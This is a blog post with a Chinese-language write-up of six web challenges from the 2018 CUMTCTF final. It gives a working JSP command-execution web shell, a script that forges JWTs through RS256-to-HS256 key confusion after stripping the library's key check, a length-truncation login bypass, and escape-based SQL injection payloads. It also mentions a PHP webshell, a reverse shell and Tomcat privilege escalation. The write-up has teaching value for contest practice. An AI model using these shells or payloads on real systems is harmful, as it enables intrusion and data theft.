Sky's blog

2018CUMTCTF-Final-Web

Word count: 2,247 / Reading time: 10 min
2018/05/19 Share

Jerry’s Site 1

访问题目链接

1
http://jerry.bxsteam.xyz/cms/

优先想到探测一下后台,发现

1
http://jerry.bxsteam.xyz/cms/admin/

使用弱密码

1
2
admin
admin

登录成功
随后发现文件管理系统

并且可以任意写文件

于是我写了一个shell

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

然后访问

1
http://jerry.bxsteam.xyz/cms/sky.jsp?pwd=023&i=ls

即可发现flag.txt
cat即可获得flag

1
cumtctf{thi3_1s_first_F4l9_in_thi_web}

Pastebin

拿到题目

1
http://pastebin.bxsteam.xyz

一开始不知道是要做什么,所以先查看源码
发现

1
http://pastebin.bxsteam.xyz/static/js/common.js

其中几个点引人注目
关注点1:

1
2
3
4
5
6
auth = "Bearer " + token;
$.ajax({
url: '/list',
type: 'GET',
headers:{"Authorization":auth},
})

存在web token
关注点2:

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{hash}
*/
}

发现有一个存放公钥的目录
想到以前一个看过的题目

1
https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/

所以立刻想到了json web token
并且第一反应是会不会是原题
因为HITB 2017的题目也叫pasty
他当时的思路是自己写公钥,并且加载这个公钥
所以我最初的想法是效法一下
于是我抓包查看token

1
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW5za3kiLCJwcml2Ijoib3RoZXIifQ.AoTc1q2NAErgqk6EeTK4MGH7cANVVF9XTy0wLv8HpgUfNcdM-etmv0Y9XmOuygF_ymV1rF6XQZzLrtkFqdMdP0NaZnTOYH35Yevaudx9bVpu9JHG4qeXo-0TXBcpaPmBaM0V0GxyZRNIS2KwRkNaxAQDQnyTN-Yi3w8OVpJYBiI

使用https://jwt.io/
得到3段:

1
2
3
4
5
6
7
8
9
{
"alg": "RS256",
"typ": "JWT"
}
{
"name": "adminsky",
"priv": "other"
}
signature

发现并不能指定加载公钥的链接,于是感觉此题不是一个套路,开始另辟蹊径
虽然一开始的思路错了,但是我们可以发现,该题目的算法是RS256,并且有pubkey目录
所以我的下一个想法就是探测pubkey泄露,利用公私钥伪造json web token
因为这个题的机制是私钥加密,公钥解密
所以只要我们能拿到私钥,即可伪造json web token
关注到格式

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{hash}
*/
}

天真的我尝试了

1
2
3
md5(username)
md5(salt.username)
md5(username.salt)

其中salt试了无数,例如Bearer,bxs,rebirth
都没有成功,心态崩了,暂且搁置
后来得到提示

1
Web Pastebin /pubkey/md5(username+password)

我才发现是username+password
访问

1
http://pastebin.bxsteam.xyz/pubkey/4eb8deaa574fdc8257e39b5dd4c6490e

得到

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtRgwKdQFRKkXupJ8lHIXT/QTi\nmT9lobR6+1m4ubQXFaBlM7sJkzaoasPdU6e/5dJ5TelQSC59deolcXJ1iHf4/Qmz\ndDX3L/ShtfPXZEGKkYCKC2kF0ekBz4W4LSQfaunZEz/yoScLqz9wOP8vwxAYN+P1\nFtFrTzMdBYo8begEewIDAQAB\n-----END PUBLIC KEY-----","result":true}

解析公钥

1
2
3
key长度:	1024
模数: AD460C0A7501512A45EEA49F251C85D3FD04E2993F65A1B47AFB59B8B9B41715A06533BB099336A86AC3DD53A7BFE5D2794DE950482E7D75EA257172758877F8FD09B37435F72FF4A1B5F3D764418A91808A0B6905D1E901CF85B82D241F6AE9D9133FF2A1270BAB3F7038FF2FC3101837E3F516D16B4F331D058A3C6DE8047B
指数: 65537 (0x10001)

本想尝试分解,但发现1024bit的n基本无解,所以私钥是不可能获取了,这个时候我的第二个思路其实被灭杀了。
因为没有私钥基本不能篡改json web token,毕竟无法通过消息验证码校验
在漫无目的的搜索时,发现了新的攻击点

1
http://www.cnblogs.com/dliv3/p/7450057.html

其中提及:修改算法RS256为HS256(非对称密码算法 => 对称密码算法)
算法HS256使用秘密密钥对每条消息进行签名和验证。
算法RS256使用私钥对消息进行签名,并使用公钥进行验证。
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。
由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。
后端代码会使用RSA公钥+HS256算法进行签名验证。
即更改算法为HS256,此时即不存在公钥私钥问题,因为对称密码算法只有一个key
此时即我们可以任意访问的pubkey
故此我立刻写出了构造脚本

1
2
3
4
import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "adminsky","priv": "admin"}, key=public, algorithm='HS256')

注:1.txt为公钥
priv为admin,因为之前为other,即其他人,同时只有admin可以读flag,所以这里猜测为admin
运行发现报错:

1
2
3
File "G:\python2.7\lib\site-packages\jwt\algorithms.py", line 151, in prepare_key
'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

发现源码的第151行爆破了,于是去跟踪库的源码
发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def prepare_key(self, key):
key = force_bytes(key)

invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]

if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')

return key

prepare_key会判断是否有非法字符,简单粗暴的注释掉

1
2
3
def prepare_key(self, key):
key = force_bytes(key)
return key

保存后再运行得到

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW5za3kiLCJwcml2IjoiYWRtaW4ifQ.zc8m-ymnOrwuvd2kdsKMBVrT_9JXPXHkFf4vcPWecqI

然后利用这个去访问list
即可得到admin的消息

1
admin:4fd5988f73c7a414f4c947e9fd708811

访问

1
http://pastebin.bxsteam.xyz/text/admin:4fd5988f73c7a414f4c947e9fd708811

得到flag

1
{"content":"cumtctf{jwt_is_not_safe_too_much}","result":true}

ezsqli

这题很遗憾,看的时候一血没了,听说被非预期了,于是我立刻想到了注册点的问题
随手尝试长度截断

1
2
username:admin++++++++++++++++++++++++++++++++++++++1
password:sky

即可以admin的身份登入,获得flag

1
cumtctf{easy_injection_for_fun}

ezsqli revenge

这题是上一题的修复
我们的第一想法是二次注入
但是发现注册

1
skycool\'

后台打印出

1
skycool\\\'

可以联想到
我们在注册skycool\'
数据库的存储为skycool\\\'
这样在查询的时候即可

1
select username from users where username='skycool\\\''

即第一个反斜杠转义我们注册时候的第一个反斜杠
单引号前的反斜杠转义单引号
这两个是过滤函数自动加的
此时我们将无法吞噬单引号
受到第一问长度截断的启发
我们是否可以构造出长度溢出
即注册某个用户名

1
skycool\\\\\\\\\\\\\'

存入数据库后,由于长度问题,导致最后一位单引号被丢弃

1
skycool\\\\\\\\\\\\\\\\\\\\\\\\\

我们只要找到这个临界点
即可逃出一个转义符
即可闭合最原始的单引号
后经过长度测试
发现如下长度可达到临界点

1
sky\\\\\\\\\\\\\'

我们注册登录后
发现打印结果

1
Hello,sky\\\\\\\\\\\\\\\\\\\\\\\\\\\!

引号成功被逃逸出来的转义符转义了
于是尝试sql注入
猜测后台逻辑为

1
select flag from flag where username='' and id=''

所以构造为

1
select flag from flag where username='sky\\\\\\\\\\\\\\\\\\\\\\\\\\\' and id=' union select 1,2,3,4#'

即此时username为

1
sky\\\\\\\\\\\\\\\\\\\\\\\\\\\' and id=

然后直接进行union select联合查询
payload

1
http://revenge.bxsteam.xyz/manage.php?msgid=union select 1,2,3,4%23

成功回显出3
经过一系列表,字段探测,得到

1
http://revenge.bxsteam.xyz/manage.php?msgid=union select 1,2,(select flag from flags limit 1),4%23

flag:

1
cumtctf{revenge_for_u}

ez_pentest

首先看到默认端口写出了得到flag的方式,需要在本机或者是202.119.201.199访问,这也就确定了我们的攻击思路,使用SSRF或者是代理在访问这个页面,就可以拿到flag。
然后在给出的另一个端口,发现了一段混淆以后的js,这里采用了浏览器直接解码的方法,只需要将最后的括号去掉,然后回车,浏览器就可以将混淆过的js,返回,进入到下一步,u_can_never_guess.php,然后可以得到一个混淆过的php的webshell,恢复方式也比较简单,之前的比赛中也遇到过,直接使用手工dump的方式尝试恢复。
具体方法可以参考p牛博客
得到如下代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  ["_"]=>
string(6) "SYSTEM"
["__"]=>
string(1) "Y"
["___"]=>
string(5) "OEP"
["____"]=>
string(1) "T"
["_____"]=>
string(6) "GM_"
["______"]=>
string(6) "GM!Q"
["_______"]=>
string(2) ""
["________"]=>
string(3) "G__"
}

然后替换相关变量,可以确定webshell的密码是%03T%01
连接webshell,发现是windows机器,这说明这是一台内网的虚拟机,这个时候攻击思路就基本确定了从win机器中找到有关代理的配置,然后利用代理访问linux机器,拿到flag。
于是tasklist查看了进程,发现了开启的ss,然后使用了where命令,查找相关的文件位置,最终在用户下载目录,找到了配置文件内容,获取配置,使用ss客户端连接,然后访问平台,即可得到flag。

Jerry’s Site 2

题目提示比较明显,tomcat版本低,可以使用cve-2016-1420 直接进行提权,使用的poc地址:freebuf
首先反弹shell,然后使用poc本地提权,注意使用的out文件的目录要正确。
利用每5分钟一次的重启时间,成功提权,最终在root目录下,找到了flag文件,.flag.txt,读取内容得到flag。

CATALOG
  1. 1. Jerry’s Site 1
  2. 2. Pastebin
  3. 3. ezsqli
  4. 4. ezsqli revenge
  5. 5. ez_pentest
  6. 6. Jerry’s Site 2